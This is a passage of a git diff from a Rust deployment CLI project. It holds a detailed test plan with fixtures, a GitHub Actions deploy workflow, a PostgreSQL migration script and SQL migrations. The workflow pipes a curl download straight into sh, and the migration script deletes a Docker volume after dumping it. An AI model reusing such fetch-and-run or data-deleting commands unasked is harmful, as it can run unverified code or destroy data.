CliError::ConfigValidation mentioning "name" + +test_parse_services_array + — Parse config with 3 services (postgres, redis, minio) + — Assert: services.len()==3, each has correct name/image/ports + +test_parse_proxy_domains + — Parse proxy with 2 domains, different ssl settings + — Assert: domains[0].ssl == SslMode::Auto, domains[1].upstream correct + +test_parse_ai_section_with_ollama + — Parse ai with provider=ollama, custom endpoint + — Assert: ai.provider==AiProvider::Ollama, ai.endpoint present + +test_default_deploy_target_is_local + — Parse config without deploy section + — Assert: config.deploy.target == DeployTarget::Local + +test_default_proxy_type_is_none + — Parse config without proxy section + — Assert: config.proxy.proxy_type == ProxyType::None + +test_config_file_not_found + — StackerConfig::from_file(Path::new("/nonexistent/stacker.yml")) + — Assert: CliError::ConfigNotFound { path } + +test_config_invalid_yaml_syntax + — Parse "{{invalid: yaml: :::" + — Assert: CliError::ConfigParseFailed + +test_validate_semantics_cloud_without_provider + — Config with deploy.target=Cloud but cloud.provider=None + — Assert: validate_semantics() returns error with "provider" + +test_validate_semantics_server_without_host + — Config with deploy.target=Server but server.host=None + — Assert: error with "host" + +test_validate_semantics_port_conflict + — Config with two services both on port 8080 + — Assert: warning about port conflict + +test_validate_semantics_no_image_no_dockerfile_custom_type + — Config with app.type=Custom, no image, no dockerfile + — Assert: error "need image or dockerfile" + +test_validate_semantics_happy_path + — Valid full config + — Assert: no issues returned +``` + +**ConfigBuilder tests (same file):** + +``` +test_config_builder_minimal + — ConfigBuilder::new().name("test").build() + — Assert: Ok(config) with name="test", defaults everywhere + +test_config_builder_fluent_chain + — ConfigBuilder::new() + .name("my-app") + .app_type(AppType::Node) + .app_path("./src") + .add_service(postgres_service) + .proxy(proxy_config) + .build() + — Assert: all fields set correctly + +test_config_builder_missing_name_returns_error + — ConfigBuilder::new().app_type(AppType::Static).build() + — Assert: Err(CliError::ConfigValidation("name is required")) + +test_config_builder_default_app_type_is_static + — ConfigBuilder::new().name("x").build() + — Assert: config.app.app_type == AppType::Static + +test_config_builder_to_yaml_roundtrip + — Build config via builder → serialize to YAML → parse back + — Assert: both match + +test_config_builder_multiple_services + — Add 3 services via chained .add_service() + — Assert: config.services.len() == 3 +``` + +**25 tests** — Config parsing, env interpolation, validation, builder. + +--- + +### Phase 2: Project Detector + +**File: `src/cli/detector.rs` — `#[cfg(test)] mod tests`** + +Uses `MockFileSystem` trait mock to avoid tempdir I/O: + +``` +test_detect_static_html + — MockFileSystem with ["index.html", "style.css"] + — Assert: detection.app_type == AppType::Static + +test_detect_node_project + — MockFileSystem with ["package.json", "src/index.js"] + — Assert: detection.app_type == AppType::Node + +test_detect_python_requirements + — MockFileSystem with ["requirements.txt", "app.py"] + — Assert: detection.app_type == AppType::Python + +test_detect_python_pyproject + — MockFileSystem with ["pyproject.toml"] + — Assert: detection.app_type == AppType::Python + +test_detect_rust_project + — MockFileSystem with ["Cargo.toml", "src/main.rs"] + — Assert: detection.app_type == AppType::Rust + +test_detect_go_project + — MockFileSystem with ["go.mod", "main.go"] + — Assert: detection.app_type == AppType::Go + +test_detect_php_composer + — MockFileSystem with ["composer.json", "public/index.php"] + — Assert: detection.app_type == AppType::Php + +test_detect_empty_directory + — MockFileSystem with [] + — Assert: detection.app_type == AppType::Custom (unknown fallback) + +test_detect_priority_node_over_static + — MockFileSystem with ["package.json", "index.html"] + — Assert: detection.app_type == AppType::Node + +test_detect_existing_dockerfile_flag + — MockFileSystem with ["Dockerfile", "package.json"] + — Assert: detection.has_dockerfile == true + +test_detect_existing_compose_flag + — MockFileSystem with ["docker-compose.yml", "index.html"] + — Assert: detection.has_compose == true + +test_detect_env_file_flag + — MockFileSystem with [".env", "index.html"] + — Assert: detection.has_env_file == true + +test_detection_to_app_type_via_from + — Create ProjectDetection { app_type: AppType::Node, .. } + — let app_type: AppType = AppType::from(&detection); + — Assert: app_type == AppType::Node +``` + +**13 tests** — Project detection with mock filesystem. + +--- + +### Phase 3: Generators + +**File: `src/cli/generator/dockerfile.rs` — `#[cfg(test)] mod tests`** + +``` +test_dockerfile_builder_static + — DockerfileBuilder::from(AppType::Static).build() + — Assert: contains "FROM nginx:alpine", "COPY . /usr/share/nginx/html" + +test_dockerfile_builder_node + — DockerfileBuilder::from(AppType::Node).build() + — Assert: contains "FROM node:", "npm ci", "EXPOSE 3000" + +test_dockerfile_builder_python + — DockerfileBuilder::from(AppType::Python).build() + — Assert: contains "FROM python:3.12-slim", "pip install" + +test_dockerfile_builder_rust + — DockerfileBuilder::from(AppType::Rust).build() + — Assert: contains "FROM rust:", "cargo build --release" + +test_dockerfile_builder_go + — DockerfileBuilder::from(AppType::Go).build() + — Assert: contains "FROM golang:", "go build" + +test_dockerfile_builder_php + — DockerfileBuilder::from(AppType::Php).build() + — Assert: contains "FROM php:", "/var/www/html" + +test_dockerfile_builder_custom_base_image + — DockerfileBuilder::new().base_image("ubuntu:22.04").build() + — Assert: starts with "FROM ubuntu:22.04" + +test_dockerfile_builder_with_build_args + — DockerfileBuilder::from(AppType::Node) + .build_arg("NODE_ENV", "production") + .build() + — Assert: contains "ARG NODE_ENV" + +test_dockerfile_builder_with_custom_path + — DockerfileBuilder::new() + .base_image("nginx:alpine") + .copy("./dist", "/usr/share/nginx/html") + .build() + — Assert: contains "COPY ./dist" + +test_dockerfile_builder_missing_base_image_returns_error + — DockerfileBuilder::new().copy(".", ".").build() + — Assert: Err(CliError::GeneratorError) mentioning "base_image" + +test_dockerfile_builder_chaining_returns_self + — Verify each method returns Self for chaining: + DockerfileBuilder::new() + .base_image("x").workdir("/app").copy("a","b") + .run("cmd").expose(80).cmd(vec![]).build_arg("K","V") + .build() + — Assert: Ok — all methods chainable + +test_generate_does_not_overwrite_existing_dockerfile + — MockFileSystem with existing Dockerfile + — Call generate → assert CliError::DockerfileExists +``` + +**12 tests** — Dockerfile builder + From conversions. + +**File: `src/cli/generator/compose.rs` — `#[cfg(test)] mod tests`** + +``` +test_compose_from_minimal_config + — Config: app only, no services + — ComposeDefinition::try_from(&config) + — Assert: 1 service ("app"), valid YAML output + +test_compose_from_config_with_services + — Config with postgres + redis + — Assert: 3 services total, correct images/ports + +test_compose_from_config_with_nginx_proxy + — Config with proxy.type=Nginx, 1 domain + — Assert: nginx service present, depends_on app, port 80/443 + +test_compose_from_config_with_npm_proxy + — Config with proxy.type=NginxProxyManager + — Assert: NPM service with ports 80, 81, 443 + +test_compose_from_config_with_status_panel + — Config with monitoring.status_panel=true + — Assert: status-panel service present + +test_compose_service_from_service_definition + — ServiceDefinition { name: "pg", image: "postgres:16", ports: ["5432:5432"] } + — ComposeService::from(&svc) + — Assert: name, image, ports correct + +test_compose_output_is_valid_yaml + — Generate from full config → serde_yaml::from_str(&output) + — Assert: roundtrip succeeds + +test_compose_includes_named_volumes + — Config with service using named volumes + — Assert: top-level volumes section in output + +test_compose_includes_default_network + — Any config → compose output + — Assert: networks section with default bridge + +test_compose_env_vars_rendered + — Config with app env vars + — Assert: environment section in compose YAML + +test_compose_port_format + — Service with ports ["8080:80", "443:443"] + — Assert: ports rendered as "8080:80" strings in YAML +``` + +**11 tests** — Compose generation via TryFrom<&StackerConfig>. + +--- + +### Phase 4: Credentials + +**File: `src/cli/credentials.rs` — `#[cfg(test)] mod tests`** + +``` +test_credentials_save_and_load + — Save Credentials { token, org, domain, api_url } to tempdir + — Load from same path → assert fields match + +test_credentials_with_org_and_domain + — Save with org="acme-corp", domain="acme.com" + — Load → assert correct + +test_credentials_missing_file_returns_none + — Load from nonexistent path + — Assert: Ok(None) + +test_credentials_corrupted_file_returns_error + — Write "not json" to credentials path + — Load → assert CliError + +test_credentials_is_expired_true + — Credentials with expires_at in the past + — Assert: is_expired() == true + +test_credentials_is_expired_false + — Credentials with expires_at in the future + — Assert: is_expired() == false + +test_credentials_refresh_token + — Mock OAuth endpoint (mockito) returning new token + — Call refresh() → assert new token saved + +test_credentials_default_config_dir + — Assert: default_config_dir() returns ~/.config/stacker (Linux) + or ~/Library/Application Support/stacker (macOS) +``` + +**8 tests** — Token storage, expiry, refresh. + +--- + +### Phase 5: Proxy Manager + +**File: `src/cli/proxy_manager.rs` — `#[cfg(test)] mod tests`** + +``` +test_generate_nginx_server_block + — Input: DomainConfig { domain: "app.example.com", upstream: "app:3000", ssl: Auto } + — Assert: output contains server_name, proxy_pass, ssl directives + +test_generate_nginx_multiple_domains + — 2 DomainConfig entries → 2 server blocks + +test_detect_proxy_nginx_from_containers + — Mock container list with container named "nginx" on port 80 + — Assert: ProxyDetection { proxy_type: ProxyType::Nginx, ports: [80] } + +test_detect_proxy_npm_from_containers + — Mock container with ports 80, 81, 443 + — Assert: ProxyDetection { proxy_type: ProxyType::NginxProxyManager } + +test_detect_no_proxy + — Empty container list + — Assert: ProxyDetection { proxy_type: ProxyType::None } + +test_proxy_type_from_string + — "nginx" → ProxyType::Nginx + — "nginx-proxy-manager" → ProxyType::NginxProxyManager + — "traefik" → ProxyType::Traefik + — "none" → ProxyType::None +``` + +**6 tests** — Proxy detection and nginx config generation. + +--- + +### Phase 6: Install Container Runner + +**File: `src/cli/install_runner.rs` — `#[cfg(test)] mod tests`** + +``` +test_build_run_command_with_cloud_config + — Input: provider=hetzner, region=fsn1, compose_path, ssh_key_path + — Assert: docker run command has correct -v mounts and -e vars + +test_run_command_mounts_stacker_yml + — Assert: volume mount for stacker.yml at expected container path + +test_run_command_mounts_ssh_key + — ssh_key=~/.ssh/id_ed25519 + — Assert: -v mount for SSH key + +test_run_command_plan_mode + — dry_run=true + — Assert: command includes "plan" not "apply" + +test_run_command_apply_mode + — dry_run=false + — Assert: command includes "apply" + +test_install_container_image_tag + — Assert: default image is "trydirect/install-service:latest" +``` + +**6 tests** — Install container command construction. + +--- + +### Phase 7: AI Client + +**File: `src/cli/ai_client.rs` — `#[cfg(test)] mod tests`** + +``` +test_ai_provider_from_config_openai + — AiConfig { provider: "openai", model: "gpt-4o", api_key: "sk-..." } + — Build provider → assert correct type + +test_ai_provider_from_config_ollama + — AiConfig { provider: "ollama", endpoint: "http://localhost:11434" } + — Build provider → assert correct type + +test_mock_ai_complete + — MockAiProvider returning "Use FROM node:lts-alpine" + — Call complete("optimize dockerfile", context) + — Assert: response contains expected text + +test_ai_build_prompt_for_dockerfile + — Build prompt with project_type=Node, files=["package.json"] + — Assert: prompt mentions Node.js, asks for Dockerfile + +test_ai_build_prompt_for_troubleshoot + — Build prompt with error_log="connection refused" + — Assert: prompt includes error log, asks for diagnosis + +test_ai_not_configured_returns_error + — AiConfig { enabled: false } + — Call complete → CliError::AiNotConfigured +``` + +**6 tests** — AI provider abstraction and prompt building. + +--- + +### Phase 8: Integration Tests — CLI Commands + +**File: `tests/cli_login.rs`** + +``` +test_login_saves_credentials + — Mock OAuth server (wiremock) returning token + — Invoke LoginCommand with mock api_url + — Assert: credentials file created + +test_login_with_org_stores_org + — Login with org="acme" + — Assert: stored credentials.org == "acme" + +test_login_with_domain_stores_domain + — Login with domain="acme.com" + — Assert: stored credentials.domain == "acme.com" + +test_login_invalid_credentials_returns_error + — Mock OAuth returning 401 + — Assert: CliError::AuthFailed + +test_login_api_url_override + — Login with api_url="https://custom.api" + — Assert: stored api_url correct + +test_login_refresh_existing_token + — Pre-populate expired credentials + — Login → assert new token, file updated not duplicated +``` + +**6 tests** + +**File: `tests/cli_init.rs`** + +``` +test_init_static_project_creates_config + — tempdir with index.html + — Run InitCommand → assert stacker.yml exists with app.type=static + +test_init_node_project_detects_correctly + — tempdir with package.json + — Assert: generated config has app.type=node + +test_init_type_flag_overrides_detection + — tempdir with package.json, --type python + — Assert: app.type=python + +test_init_with_proxy_flag_adds_section + — --with-proxy → assert proxy section in generated YAML + +test_init_with_ai_flag_adds_section + — --with-ai → assert ai section with placeholder + +test_init_does_not_overwrite_existing + — tempdir with existing stacker.yml + — Assert: error, not overwritten + +test_init_output_parses_as_valid_config + — Init → parse generated file via StackerConfig::from_file() + — Assert: Ok + +test_init_empty_dir_defaults_to_static + — Empty tempdir → assert app.type=static +``` + +**8 tests** + +**File: `tests/cli_deploy.rs`** + +``` +test_deploy_local_dry_run_generates_files + — tempdir with index.html + minimal stacker.yml + — DeployCommand with --dry-run + — Assert: .stacker/Dockerfile and .stacker/docker-compose.yml created + +test_deploy_local_preserves_existing_dockerfile + — tempdir with custom Dockerfile, config referencing it + — Deploy --dry-run → assert Dockerfile unchanged + +test_deploy_local_uses_existing_compose + — tempdir with docker-compose.yml, config with compose_file set + — Deploy --dry-run → assert uses existing, no .stacker/ compose + +test_deploy_local_with_image_skips_build + — Config with app.image="nginx:latest" + — Deploy --dry-run → assert no Dockerfile generated + +test_deploy_cloud_requires_login + — Config: deploy.target=cloud, no credentials + — Assert: CliError::LoginRequired { feature: "cloud deploy" } + +test_deploy_cloud_requires_provider + — Config: deploy.target=cloud, cloud section empty + — Assert: validation error + +test_deploy_server_requires_host + — Config: deploy.target=server, no host + — Assert: validation error + +test_deploy_missing_config_file + — Deploy in empty dir → CliError::ConfigNotFound + +test_deploy_custom_file_flag + — --file custom.yml → assert loads custom file + +test_deploy_force_rebuild + — --force-rebuild → assert build steps included + +test_deploy_runs_pre_build_hook + — Config with hooks.pre_build → assert hook noted in --dry-run + +test_deploy_target_strategy_dispatch + — DeployTarget::Local.strategy() → assert is LocalDeploy + — DeployTarget::Cloud.strategy() → assert is CloudDeploy + — DeployTarget::Server.strategy() → assert is ServerDeploy + +test_deploy_payload_from_config + — Full config → DeployPayload::try_from(&config) + — Assert: payload has correct stack_code, compose, cloud settings +``` + +**13 tests** + +**File: `tests/cli_logs.rs`** + +``` +test_logs_constructs_compose_command + — LogsCommand with defaults + — Assert: command = "docker compose logs" + +test_logs_with_service_filter + — --service postgres + — Assert: command includes "postgres" + +test_logs_with_follow + — --follow → assert "-f" in command + +test_logs_with_tail + — --tail 100 → assert "--tail 100" + +test_logs_with_since + — --since 1h → assert "--since 1h" + +test_logs_no_deployment_returns_error + — Clean dir, no .stacker/ → error +``` + +**6 tests** + +**File: `tests/cli_status.rs`** + +``` +test_status_local_constructs_query + — StatusCommand → assert queries Docker API + +test_status_json_flag + — --json → assert output format is JSON + +test_status_no_deployment_returns_error + — Clean dir → error + +test_status_remote_queries_agent_api + — Config with cloud deployment + mock agent API + — Assert: queries /api/v1/agent/deployments/{hash} +``` + +**4 tests** + +**File: `tests/cli_destroy.rs`** + +``` +test_destroy_constructs_down_command + — DestroyCommand --confirm + — Assert: "docker compose down" + +test_destroy_with_volumes_flag + — --volumes → assert "--volumes" in command + +test_destroy_requires_confirmation + — No --confirm → error in non-interactive mode + +test_destroy_no_deployment_returns_error + — Clean dir → error + +test_destroy_cloud_triggers_terraform_destroy + — Config: deploy.target=cloud, mock install runner + — Assert: terraform destroy triggered +``` + +**5 tests** + +**File: `tests/cli_config.rs`** + +``` +test_config_validate_valid_returns_success + — Valid stacker.yml → assert success message + +test_config_validate_invalid_lists_errors + — Invalid config → assert errors displayed + +test_config_validate_custom_file + — --file custom.yml → assert validates custom file + +test_config_show_resolves_env_vars + — Set TEST_VAR=hello, config with ${TEST_VAR} + — Assert: output shows "hello" + +test_config_show_displays_defaults + — Minimal config → show → assert defaults visible +``` + +**5 tests** + +**File: `tests/cli_ai.rs`** + +``` +test_ai_ask_no_config_returns_error + — Config without ai section → CliError::AiNotConfigured + +test_ai_ask_openai_sends_correct_request + — Mock OpenAI endpoint + — Assert: POST with model, messages array + +test_ai_ask_ollama_sends_correct_request + — Mock Ollama endpoint + — Assert: POST to /api/generate + +test_ai_ask_with_context_includes_logs + — --context deploy → assert deployment context in prompt + +test_ai_dockerfile_generation + — Mock LLM returning Dockerfile + — Assert: valid result returned +``` + +**5 tests** + +**File: `tests/cli_proxy.rs`** + +``` +test_proxy_detect_finds_nginx + — Mock Docker API with nginx container + — Assert: "nginx detected" + +test_proxy_detect_finds_npm + — Mock with NPM container + — Assert: "Nginx Proxy Manager detected" + +test_proxy_detect_nothing + — Empty containers → "no proxy detected" + +test_proxy_add_domain_updates_config + — proxy add example.com --upstream app:3000 + — Assert: config updated + +test_proxy_add_invalid_domain_returns_error + — "not a domain" → validation error +``` + +**5 tests** + +**File: `tests/cli_update.rs`** + +``` +test_update_newer_version_available + — Mock release endpoint with v2.0.0 + — Assert: "new version available" + +test_update_already_latest + — Mock with same version + — Assert: "already up to date" + +test_update_channel_flag + — --channel nightly → assert checks nightly feed +``` + +**3 tests** + +--- + +### Test Fixtures + +**File: `tests/mock_data/stacker_minimal.yml`** +```yaml +name: test-app +app: + type: static + path: ./public +``` + +**File: `tests/mock_data/stacker_full.yml`** +```yaml +name: full-test-app +version: "2.0" +organization: test-org +app: + type: node + path: ./src + build: + context: . + args: + NODE_ENV: production +services: + - name: postgres + image: postgres:16 + ports: ["5432:5432"] + environment: + POSTGRES_DB: testdb + POSTGRES_PASSWORD: testpass + volumes: + - pgdata:/var/lib/postgresql/data + - name: redis + image: redis:7-alpine + ports: ["6379:6379"] +proxy: + type: nginx + domains: + - domain: test.example.com + ssl: auto + upstream: app:3000 +deploy: + target: local +ai: + enabled: true + provider: ollama + model: llama3 + endpoint: http://localhost:11434 + tasks: [dockerfile, troubleshoot] +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s +env: + APP_PORT: "3000" + LOG_LEVEL: debug +``` + +**File: `tests/mock_data/stacker_invalid.yml`** +```yaml +# Missing required name field +app: + type: cobol +``` + +**File: `tests/mock_data/stacker_cloud.yml`** +```yaml +name: cloud-test +app: + type: static + path: ./public +deploy: + target: cloud + cloud: + provider: hetzner + region: fsn1 + size: cpx21 + ssh_key: ~/.ssh/id_ed25519 +``` + +--- + +### Test Count Summary + +| Phase | Module | Tests | +|-------|--------|-------| +| 0 | error.rs + enums | 13 | +| 1 | config_parser + builder | 25 | +| 2 | detector | 13 | +| 3 | generator/dockerfile | 12 | +| 3 | generator/compose | 11 | +| 4 | credentials | 8 | +| 5 | proxy_manager | 6 | +| 6 | install_runner | 6 | +| 7 | ai_client | 6 | +| 8 | cli_login | 6 | +| 8 | cli_init | 8 | +| 8 | cli_deploy | 13 | +| 8 | cli_logs | 6 | +| 8 | cli_status | 4 | +| 8 | cli_destroy | 5 | +| 8 | cli_config | 5 | +| 8 | cli_ai | 5 | +| 8 | cli_proxy | 5 | +| 8 | cli_update | 3 | +| **Total** | | **160** | + +--- + +## Step-by-Step Implementation + +Each step: write tests → run (all fail) → implement → run (all pass) → refactor. + +### Step 1: Foundation — Error Types + Enums +1. Add dev-dependencies to `Cargo.toml` +2. Create `src/cli/mod.rs`, `src/cli/error.rs` +3. Define `CliError`, `AppType`, `DeployTarget`, `ProxyType`, `Severity`, `ValidationIssue` +4. Implement `Display`, `From`, `Default` for each +5. Write Phase 0 tests (13) → implement → green + +### Step 2: Config Parser + Builder +1. Create `src/cli/config_parser.rs` +2. Define `StackerConfig`, `AppSource`, `ServiceDefinition`, `ProxyConfig`, + `DeployConfig`, `AiConfig`, `MonitoringConfig`, `HookConfig` — all with + `Deserialize + Serialize + Default + Debug + Clone + Validate` +3. Define `ConfigBuilder` with fluent chaining +4. Implement `StackerConfig::from_file()` with env var interpolation +5. Implement `validate_semantics()` +6. Write Phase 1 tests (25) → implement → green + +### Step 3: Project Detector +1. Create `src/cli/detector.rs` +2. Define `FileSystem` trait + `MockFileSystem` + `RealFileSystem` +3. Define `ProjectDetection` struct +4. Implement `From<&ProjectDetection> for AppType` +5. Write Phase 2 tests (13) → implement → green + +### Step 4: Dockerfile Generator +1. Create `src/cli/generator/mod.rs`, `dockerfile.rs`, `templates.rs` +2. Define `DockerfileBuilder` with fluent builder pattern +3. Implement `From for DockerfileBuilder` +4. Write Phase 3 dockerfile tests (12) → implement → green + +### Step 5: Compose Generator +1. Create `src/cli/generator/compose.rs` +2. Define `ComposeDefinition`, `ComposeService` +3. Implement `TryFrom<&StackerConfig> for ComposeDefinition` +4. Implement `From<&ServiceDefinition> for ComposeService` +5. Write Phase 3 compose tests (11) → implement → green + +### Step 6: Credentials Manager +1. Create `src/cli/credentials.rs` +2. Define `Credentials` struct with `save()`, `load()`, `is_expired()`, `refresh()` +3. Write Phase 4 tests (8) → implement → green + +### Step 7: Proxy Manager +1. Create `src/cli/proxy_manager.rs` +2. Define `ProxyDetection`, nginx config generation +3. Implement `ContainerRuntime` trait dependency for detection +4. Write Phase 5 tests (6) → implement → green + +### Step 8: Install Runner +1. Create `src/cli/install_runner.rs` +2. Define `InstallContainerCommand` builder +3. Write Phase 6 tests (6) → implement → green + +### Step 9: AI Client +1. Create `src/cli/ai_client.rs` +2. Define `AiProvider` trait + `MockAiProvider` + `OpenAiProvider` + `OllamaProvider` +3. Implement prompt construction +4. Write Phase 7 tests (6) → implement → green + +### Step 10: CLI Command Stubs +1. Extend `Commands` enum in `src/console/main.rs` +2. Create `src/console/commands/cli/` with all command modules +3. Stub `CallableTrait` implementations (return `Ok(())`) +4. Verify `cargo build --features explain` + +### Step 11-21: Commands (one per step) +For each command (login, init, deploy, logs, status, destroy, config, ai, proxy, update): +1. Write integration tests from Phase 8 +2. Implement `CallableTrait` using library modules from Steps 1-9 +3. Green + +### Step 22: Binary Target + Distribution +1. Add `[[bin]] name = "stacker"` in `Cargo.toml` +2. Create `scripts/install.sh` for curl-based install +3. Update CI for multi-platform builds + +--- + +## Verification + +### Run all tests +```bash +cd stacker + +# All tests +cargo test --features explain + +# By phase +cargo test --features explain -- cli::error::tests # Phase 0 +cargo test --features explain -- cli::config_parser::tests # Phase 1 +cargo test --features explain -- cli::detector::tests # Phase 2 +cargo test --features explain -- cli::generator::dockerfile::tests # Phase 3 +cargo test --features explain -- cli::generator::compose::tests # Phase 3 +cargo test --features explain -- cli::credentials::tests # Phase 4 +cargo test --features explain -- cli::proxy_manager::tests # Phase 5 +cargo test --features explain -- cli::install_runner::tests # Phase 6 +cargo test --features explain -- cli::ai_client::tests # Phase 7 +cargo test --features explain --test cli_login # Phase 8 +cargo test --features explain --test cli_deploy # Phase 8 +# ... + +# Integration tests only +cargo test --features explain --test 'cli_*' +``` + +### Manual E2E smoke test +```bash +mkdir /tmp/test-site && echo "

Hello

" > /tmp/test-site/index.html +cd /tmp/test-site +stacker init +stacker config validate +stacker deploy --target local --dry-run +stacker deploy --target local +stacker status +stacker logs --follow +stacker destroy --confirm +``` + +--- + +## Decisions Log + +| Decision | Chosen | Over | Reason | +|----------|--------|------|--------| +| Builder pattern | `ConfigBuilder`, `DockerfileBuilder` with fluent chaining | Direct struct construction | Clean API for `stacker init`, testable, follows `JsonResponseBuilder` pattern in codebase | +| From/Into | `From for DockerfileBuilder`, `TryFrom<&StackerConfig> for ComposeDefinition`, etc. | Manual conversion functions | Idiomatic Rust, composable, follows 20+ existing From/Into impls in codebase | +| Error type | Single `CliError` enum with structured variants + `Display` + `From` | String-based errors | Clean Code Ch.7 — structured error handling. Follows `ConnectorError` pattern. No `thiserror` (codebase doesn't use it) | +| Trait abstraction | `ContainerRuntime`, `FileSystem`, `AiProvider` traits | Concrete types only | DIP — enables `MockContainerRuntime` etc. for testing. Follows `UserServiceConnector` mock pattern | +| Strategy pattern | `DeployStrategy` trait with `LocalDeploy`, `CloudDeploy`, `ServerDeploy` | Match arm in single function | OCP — new deploy targets don't modify existing code | +| Naming | Full intention-revealing names, no abbreviations | Short names | Clean Code Ch.2 — `generate_dockerfile` not `gen_df` | +| Function size | Single-purpose functions, one level of abstraction | Large orchestration functions | Clean Code Ch.3 — do one thing | +| Validation | `Validate` derive + `validate_semantics()` returning `Vec` | Boolean checks | Follows `serde_valid` pattern in codebase + `ValidateStackConfigTool` error/warning/info pattern | +| Test isolation | `MockFileSystem`, `MockContainerRuntime`, `MockAiProvider` | tempdir + real Docker | Fast, deterministic, no external dependencies. Integration tests use tempdir where needed | +| Config format | serde-derived structs with `#[serde(default)]` + `#[serde(rename_all)]` | Manual parsing | Follows every model/form in codebase. Declarative, auto-documented. | diff --git a/stacker/stacker/local-only-settings/stacker-deploy.yml b/stacker/stacker/local-only-settings/stacker-deploy.yml new file mode 100644 index 0000000..44581b9 --- /dev/null +++ b/stacker/stacker/local-only-settings/stacker-deploy.yml @@ -0,0 +1,23 @@ +name: Deploy website with Stacker + +on: + push: + branches: [main] + workflow_dispatch: + +jobs: + deploy: + name: Deploy website + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Install Stacker CLI + run: curl -fsSL https://get.try.direct/stacker | sh + + - name: Deploy stack + env: + STACKER_TOKEN: ${{ secrets.STACKER_TOKEN }} + run: stacker deploy --target server diff --git a/stacker/stacker/migrate-postgres-18.sh b/stacker/stacker/migrate-postgres-18.sh new file mode 100755 index 0000000..994e466 --- /dev/null +++ b/stacker/stacker/migrate-postgres-18.sh @@ -0,0 +1,72 @@ +#!/usr/bin/env bash +set -euo pipefail + +# ─── Config ─────────────────────────────────────────────────────────────────── +CONTAINER="stackerdb" +DB_USER="postgres" +DB_NAME="stacker" +# Docker Compose prefixes volumes with project name (directory name) +PROJECT_NAME="$(basename "$(pwd)")" +VOLUME="${PROJECT_NAME}_stackerdb" +COMPOSE_FILE="docker-compose.yml" +DUMP_FILE="stacker_$(date +%Y%m%d_%H%M%S).sql" + +# ─── Colors ─────────────────────────────────────────────────────────────────── +GREEN='\033[0;32m'; YELLOW='\033[1;33m'; RED='\033[0;31m'; NC='\033[0m' +info() { echo -e "${GREEN}[INFO]${NC} $*"; } +warn() { echo -e "${YELLOW}[WARN]${NC} $*"; } +error() { echo -e "${RED}[ERROR]${NC} $*"; exit 1; } + +# ─── Step 1: Dump ───────────────────────────────────────────────────────────── +info "Dumping '$DB_NAME' from running container '$CONTAINER'..." +docker exec "$CONTAINER" pg_dump -U "$DB_USER" "$DB_NAME" > "$DUMP_FILE" + +DUMP_SIZE=$(wc -c < "$DUMP_FILE") +if [ "$DUMP_SIZE" -lt 1000 ]; then + error "Dump file is too small (${DUMP_SIZE} bytes) — aborting. Check container is running and DB exists." +fi +info "Dump saved to $DUMP_FILE (${DUMP_SIZE} bytes)" + +# ─── Step 2: Stop containers ────────────────────────────────────────────────── +info "Stopping containers..." +docker compose -f "$COMPOSE_FILE" stop stackerdb + +# ─── Step 3: Remove old volume ──────────────────────────────────────────────── +warn "Removing old volume '$VOLUME'..." +docker volume rm "$VOLUME" + +# ─── Step 4: Start fresh PG18 container ────────────────────────────────────── +info "Starting fresh stackerdb (PG18)..." +docker compose -f "$COMPOSE_FILE" up -d stackerdb + +# ─── Step 5: Wait for healthy ───────────────────────────────────────────────── +info "Waiting for stackerdb to be ready..." +RETRIES=20 +until docker exec "$CONTAINER" pg_isready -U "$DB_USER" -q; do + RETRIES=$((RETRIES - 1)) + if [ "$RETRIES" -le 0 ]; then + error "stackerdb did not become ready in time." + fi + sleep 3 +done +info "stackerdb is ready." + +# ─── Step 6: Create database if missing ─────────────────────────────────────── +DB_EXISTS=$(docker exec "$CONTAINER" psql -U "$DB_USER" -tAc \ + "SELECT 1 FROM pg_database WHERE datname='${DB_NAME}'") +if [ "$DB_EXISTS" != "1" ]; then + info "Creating database '$DB_NAME'..." + docker exec "$CONTAINER" psql -U "$DB_USER" -c "CREATE DATABASE ${DB_NAME};" +else + info "Database '$DB_NAME' already exists." +fi + +# ─── Step 7: Restore ────────────────────────────────────────────────────────── +info "Restoring from $DUMP_FILE..." +cat "$DUMP_FILE" | docker exec -i "$CONTAINER" psql -U "$DB_USER" "$DB_NAME" + +# ─── Step 8: Verify ─────────────────────────────────────────────────────────── +info "Verifying restored tables..." +docker exec "$CONTAINER" psql -U "$DB_USER" "$DB_NAME" -c "\dt" + +info "Migration complete! Dump kept at: $DUMP_FILE" diff --git a/stacker/stacker/migrations/20230903063840_creating_rating_tables.down.sql b/stacker/stacker/migrations/20230903063840_creating_rating_tables.down.sql new file mode 100644 index 0000000..b32b52b --- /dev/null +++ b/stacker/stacker/migrations/20230903063840_creating_rating_tables.down.sql @@ -0,0 +1,10 @@ +-- Add down migration script here + +DROP INDEX idx_category; +DROP INDEX idx_user_id; +DROP INDEX idx_obj_id_rating_id; + +DROP table rating; +DROP table product; + +DROP TYPE rate_category; diff --git a/stacker/stacker/migrations/20230903063840_creating_rating_tables.up.sql b/stacker/stacker/migrations/20230903063840_creating_rating_tables.up.sql new file mode 100644 index 0000000..156c722 --- /dev/null +++ b/stacker/stacker/migrations/20230903063840_creating_rating_tables.up.sql @@ -0,0 +1,39 @@ +-- Add up migration script here + +CREATE TYPE rate_category AS ENUM ( + 'application', + 'cloud', + 'project', + 'deploymentSpeed', + 'documentation', + 'design', + 'techSupport', + 'price', + 'memoryUsage' +); + +CREATE TABLE product ( + id integer NOT NULL, PRIMARY KEY(id), + obj_id integer NOT NULL, + obj_type TEXT NOT NULL, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL +); + +CREATE TABLE rating ( + id serial, + user_id VARCHAR(50) NOT NULL, + obj_id integer NOT NULL, + category rate_category NOT NULL, + comment TEXT DEFAULT NULL, + hidden BOOLEAN DEFAULT FALSE, + rate INTEGER, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT fk_product FOREIGN KEY(obj_id) REFERENCES product(id), + CONSTRAINT rating_pk PRIMARY KEY (id) +); + +CREATE INDEX idx_category ON rating(category); +CREATE INDEX idx_user_id ON rating(user_id); +CREATE INDEX idx_obj_id_rating_id ON rating(obj_id, rate); diff --git a/stacker/stacker/migrations/20230905145525_creating_stack_tables.down.sql b/stacker/stacker/migrations/20230905145525_creating_stack_tables.down.sql new file mode 100644 index 0000000..7f367df --- /dev/null +++ b/stacker/stacker/migrations/20230905145525_creating_stack_tables.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +DROP TABLE project; diff --git 